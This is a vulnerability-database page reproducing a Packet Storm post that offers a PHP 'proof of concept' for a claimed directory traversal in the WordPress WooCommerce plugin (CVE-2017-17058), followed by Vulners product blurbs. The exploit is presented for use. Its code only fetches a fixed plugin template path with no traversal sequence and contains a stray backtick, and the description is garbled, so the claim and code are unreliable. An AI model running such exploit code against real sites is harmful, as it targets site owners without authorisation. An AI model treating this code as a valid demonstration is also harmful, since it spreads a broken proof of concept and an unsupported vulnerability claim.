Lucene search
K

WordPress WooCommerce 2.0 / 3.0 Directory Traversal

🗓️ 30 Nov 2017 00:00:00Reported by fu2x2000Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 59 Views

WordPress WooCommerce 2.0 / 3.0 Directory Traversal vulnerabilit

Related
Code
`# Exploit Title: WordPress woocommerce directory traversal  
# Date: 28-11-2017  
# Software Link: https://wordpress.org/plugins/woocommerce/  
# Exploit Author:fu2x2000  
# Contact: [email protected]  
# Website:  
# CVE:2017-17058  
#Version:Tested on WordPress 4.8.3 woocommerce 2.0/3.0  
# Category: webapps  
  
  
1. Description  
  
Identifying woo commerce theme pluging properly sanitized against Directory  
Traversal,even the latest version of WordPress with woocommerce can be  
vulnerable.  
  
2. Proof of Concept  
  
$woo = "www/wp-content/plugins/woocommerce/templates/emails/plain/"; `  
function file_get_contents_utf8($fn) {  
$opts = array(  
'http' => array(  
'method'=>"GET",  
'header'=>"Content-Type: text/html; charset=utf-8"  
)  
);  
  
$wp = stream_context_create($opts);  
$result = @file_get_contents($fn,false,$wp);  
return $result;  
}  
/* $head= header("Content-Type: text/html; charset=utf-8"); ; */  
header("Content-Type: text/html; charset=utf-8");  
  
$result = file_get_contents_utf8("http://".$woo);  
  
echo $result;  
  
  
Regards  
  
Fu2x200  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation